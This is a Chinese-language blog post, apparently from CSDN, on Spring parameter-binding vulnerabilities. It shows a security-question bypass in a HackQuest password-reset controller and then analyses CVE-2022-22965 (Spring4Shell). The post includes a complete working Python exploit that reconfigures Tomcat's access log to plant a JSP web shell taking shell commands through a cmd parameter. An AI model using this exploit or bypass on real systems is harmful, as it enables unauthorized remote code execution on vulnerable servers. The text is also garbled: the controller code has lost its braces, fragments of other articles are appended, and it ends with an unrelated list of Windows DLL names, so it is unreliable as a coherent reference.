@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {
private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);
@Autowired
private UserService userService;
public ResetPasswordController() {
@RequestMapping(
value = {"/reset"},
method = {RequestMethod.GET}
public String resetViewHandler() {
logger.info("Welcome reset ! ");
return "reset";
@RequestMapping(
value = {"/reset"},
method = {RequestMethod.POST}
public String resetHandler(@RequestParam String username, Model model) {
logger.info("Checking username " + username);
User user = this.userService.findByName(username);
if (user == null) {
logger.info("there is no user with name " + username);
model.addAttribute("error", "Username is not found");
return "reset";
} else {
model.addAttribute("user", user);
return "redirect:resetQuestion";
@RequestMapping(
value = {"/resetQuestion"},
method = {RequestMethod.GET}
public String resetViewQuestionHandler(@ModelAttribute User user) {
logger.info("Welcome resetQuestion ! " + user);
return "resetQuestion";
@RequestMapping(
value = {"/resetQuestion"},
method = {RequestMethod.POST}
public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {
logger.info("Checking resetQuestion ! " + answerReset + " for " + user);
if (!user.getAnswer().equals(answerReset)) {
logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);
model.addAttribute("error", "Incorrect answer");
return "resetQuestion";
} else {
status.setComplete();
String newPassword = GeneratePassword.generatePassowrd(10);
user.setPassword(newPassword);
this.userService.updateUser(user);
model.addAttribute("message", "Your new password is " + newPassword);
return "success";
由于有了参数绑定这个机制,user对象是我们用户可控的!,可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然从user对象中取数据来做验证,那么我们可以尝试利用参数绑定的机制,参数设为?answer=hello&answerReset=hello,使得equals成功,从而绕过验证。
参考自动绑定漏洞_对象自动绑定漏洞-CSDN博客
war包下载https://github.com/3wapp/ZeroNights-HackQuest-2016
CVE-2022-22965
受影响范围: Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影响版本: Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 与Tomcat版本有关
注:jdk版本的不同,可能导致漏洞利用成功与否
思考:参数绑定可以给对应对象的属性赋值,有没有一种可能可以给其他的对象赋值?
为了实现这种可能,先了解下参数绑定的底层机制!
由于java语言复杂的对象继承关系,参数绑定也有多级参数绑定的机制。如contry.province.city.district=yuelu,
其内部的调用链也应是
Contry.getProvince()
Province.getCity()
City.getDistrict()
District.setDistrictName()
Spring自带: BeanWrapperlmpl------Spring容器中管理的对象,自动调用get/set方法
BeanWrapperlmpl是对PropertyDescriptor的进一步封装
我们都知道在Java中,所有的类都隐式地继承自java.lang.Object
类。 Object
类是Java中所有类的根类,它定义了一些通用的方法,因此这些方法可以在任何对象上调用。
是否可以通过class对象跳转到其他对象上。
在spring是世界中一切都是javabean,就连输出的log日志也是一个javabean,如果我们能够修改这个javabean,就意味着输出的log后缀名可控,其内容也可控。那好我们直接改成jsp马的形式
漏洞搭建复现
我们使用maven工具加入spring boot,模拟一个参数绑定的Controller,生成war包放入tomcat中
参考文章Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考 (seebug.org)
附上poc
import requests
import argparse
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)
time.sleep(1)
# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url
filename = file_arg.replace(".jsp", "")
if url_arg is None:
print("Must pass an option for --url")
return
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")
if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
print(f"[+] Shell should be at: {location}?cmd=whoami")
except Exception as e:
print(e)
if __name__ == '__main__':
main()
注意这个poc的逻辑 先向log文件中打入马的形式,其部分关键语段用占位符代替,这也是为了绕过防护机制的手段。之后请求的包在header将占位符填上,这时一个jsp就此形成
漏洞调试分析
给参数绑定的入函数打上断点
瞅见了我们传入的参数了吧
第一次循环这一次this还在User中(包装对象)
第二次循环跳出user对象了
有兴趣的同学可调试进入分析一哈,具体的代码逻辑为什么跳到了class对象?以博主目前的功力虽然调了很多次 但始终无法对这个机制了解彻底,所以这里也不在深究了.....
0x01 漏洞介绍
Spring Framework 是一个开源的轻量级J2EE应用程序开发框架。
3月31日,VMware发布安全公告,修复了Spring Framework中的远程代码执行漏洞(CVE-2022-22965)。在 JDK 9 及以上版本环境下,可以利用此漏洞在未授权的情况下在目标系统上写入恶意程序从而远程执行任意代码。
0x02 影响范围
影响组件:org.springframework:spring-beans
影响版本:< 5.3.18 和 < 5.2.20.RELEAS
文章目录介绍环境下载与搭建漏洞介绍@ModelAttribute注解@SessionAttributes注解举个栗子justiceleagueedik
本文主要通过spring介绍自动绑定漏洞,并给出栗子和环境帮助消化。
环境下载与搭建
漏洞war包:https://github.com/3wapp/ZeroNights-HackQuest-2016,后序将会通过该源码进行举例
tomcat下载地址:https://tomcat.apache.org/download-70.cgi
解压tomcat
在Spring mvc中,注解@ModelAttribute是一个非常常用的注解,其功能主要在两方面:
运用在参数上,会将客户端传递过来的参数按名称注入到指定对象中,并且会将这个对象自动加入ModelMap中,便于View层使用;
运用在方...
Autowiring collabraotors自动绑定
1、 byType 根据类型自动绑定,如果同种类型的实例在容器中不是唯一的,将会产生异常
byName 根据属性名查找相同的实例名绑定,如属性名master,Spring 将会找名字为master的实例
constrctcor 类似于byType,在容器中找和类型一致的唯一的bea...
所谓“配置绑定”就是把配置文件中的值与 JavaBean 中对应的属性进行绑定。通常,我们会把一些配置信息(例如,数据库配置)放在配置文件中,然后通过 Java 代码去读取该配置文件,并且把配置文件中指定的配置封装到 JavaBean(实体类) 中。
SpringBoot 提供了以下 2 种方式进行配置绑定:
使用 @ConfigurationProperties 注解
使用 @Value 注解
@ConfigurationProperties
通过 Spring Boot 提供的 @Configur
RDXService.dll SettingsHandlers_CapabilityAccess.dll smartscreenps.dll SpatializerApo.dll Window
win32kfull.sys TransportDSA.dll AppVEntStreamingManager.dll AppVEntVirtualization.dll AppVEntSub